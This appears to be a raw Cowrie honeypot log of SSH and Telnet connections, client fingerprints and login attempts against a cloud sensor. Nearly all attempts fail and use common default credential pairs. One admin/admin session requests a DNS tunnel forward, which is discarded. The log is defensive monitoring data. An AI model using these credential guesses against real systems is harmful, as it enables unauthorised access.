{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:25.785117Z","src_ip":"80.94.92.186","session":"57d5092a0f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:26.699713Z","src_ip":"80.94.92.186","session":"57d5092a0f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:28.006221Z","src_ip":"80.94.92.186","session":"57d5092a0f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.31023097038269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:31.469779Z","src_ip":"72.167.37.165","session":"0c561cade76d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":12854,"dst_ip":"10.17.0.5","dst_port":22,"session":"21c5ef080fb8","protocol":"ssh","message":"New connection: 176.65.132.190:12854 (10.17.0.5:22) [session: 21c5ef080fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:39:07.810507Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:39:07.815784Z","src_ip":"176.65.132.190","session":"21c5ef080fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":37536,"dst_ip":"159.203.135.109","dst_port":22,"session":"f576e0a03e6c","protocol":"ssh","message":"New connection: 107.150.103.12:37536 (159.203.135.109:22) [session: f576e0a03e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:39:12.941773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:39:12.947903Z","src_ip":"107.150.103.12","session":"f576e0a03e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:39:13.018286Z","src_ip":"107.150.103.12","session":"f576e0a03e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:39:13.332949Z","src_ip":"107.150.103.12","session":"f576e0a03e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:39:14.406351Z","src_ip":"107.150.103.12","session":"f576e0a03e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":42188,"dst_ip":"159.203.135.109","dst_port":22,"session":"f42d5a0ecede","protocol":"ssh","message":"New connection: 107.150.103.12:42188 (159.203.135.109:22) [session: f42d5a0ecede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:02.034882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:02.046166Z","src_ip":"107.150.103.12","session":"f42d5a0ecede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:02.121650Z","src_ip":"107.150.103.12","session":"f42d5a0ecede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:02.442729Z","src_ip":"107.150.103.12","session":"f42d5a0ecede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:03.526080Z","src_ip":"107.150.103.12","session":"f42d5a0ecede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":49802,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec58efd67d2","protocol":"telnet","message":"New connection: 194.180.12.23:49802 (159.203.135.109:23) [session: 9ec58efd67d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:34.529848Z"}
{"eventid":"cowrie.session.closed","duration":0.7315607070922852,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:35.261295Z","src_ip":"194.180.12.23","session":"9ec58efd67d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":43176,"dst_ip":"159.203.135.109","dst_port":22,"session":"c947bef7e430","protocol":"ssh","message":"New connection: 107.150.103.12:43176 (159.203.135.109:22) [session: c947bef7e430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:51.491762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:51.496833Z","src_ip":"107.150.103.12","session":"c947bef7e430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:51.568031Z","src_ip":"107.150.103.12","session":"c947bef7e430","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test1234","message":"login attempt [testuser/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:51.882325Z","src_ip":"107.150.103.12","session":"c947bef7e430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:40:52.957486Z","src_ip":"107.150.103.12","session":"c947bef7e430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":49258,"dst_ip":"159.203.135.109","dst_port":23,"session":"bda21b658727","protocol":"telnet","message":"New connection: 199.103.57.63:49258 (159.203.135.109:23) [session: bda21b658727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:02.394590Z"}
{"eventid":"cowrie.session.closed","duration":35.63565468788147,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:38.030132Z","src_ip":"199.103.57.63","session":"bda21b658727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45566,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d32b3e304e","protocol":"ssh","message":"New connection: 80.94.92.186:45566 (10.17.0.5:22) [session: d0d32b3e304e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:38.061343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:38.325034Z","src_ip":"80.94.92.186","session":"d0d32b3e304e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:38.328682Z","src_ip":"80.94.92.186","session":"d0d32b3e304e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:39.359089Z","src_ip":"80.94.92.186","session":"d0d32b3e304e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:40.869626Z","src_ip":"80.94.92.186","session":"d0d32b3e304e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":41284,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e135e419efc","protocol":"ssh","message":"New connection: 107.150.103.12:41284 (159.203.135.109:22) [session: 7e135e419efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:43.808346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:43.813279Z","src_ip":"107.150.103.12","session":"7e135e419efc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:43.884027Z","src_ip":"107.150.103.12","session":"7e135e419efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester1234","message":"login attempt [tester/tester1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:44.197968Z","src_ip":"107.150.103.12","session":"7e135e419efc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:45.271459Z","src_ip":"107.150.103.12","session":"7e135e419efc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6260,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb86f98c8c1","protocol":"ssh","message":"New connection: 87.251.64.176:6260 (10.17.0.5:22) [session: 3bb86f98c8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:47.599072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:47.603930Z","src_ip":"87.251.64.176","session":"3bb86f98c8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:47.706022Z","src_ip":"87.251.64.176","session":"3bb86f98c8c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:47.994581Z","src_ip":"87.251.64.176","session":"3bb86f98c8c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:48.093406Z","session":"3bb86f98c8c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:48.190775Z","src_ip":"87.251.64.176","session":"3bb86f98c8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:48.290100Z","src_ip":"87.251.64.176","session":"3bb86f98c8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":59458,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c1e1990fb7e","protocol":"ssh","message":"New connection: 141.11.21.145:59458 (159.203.135.109:22) [session: 2c1e1990fb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:49.461826Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:49.542058Z","src_ip":"141.11.21.145","session":"2c1e1990fb7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":59472,"dst_ip":"159.203.135.109","dst_port":22,"session":"46aff0000047","protocol":"ssh","message":"New connection: 141.11.21.145:59472 (159.203.135.109:22) [session: 46aff0000047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:49.625476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:41:49.629506Z","src_ip":"141.11.21.145","session":"46aff0000047","protocol":"ssh"}
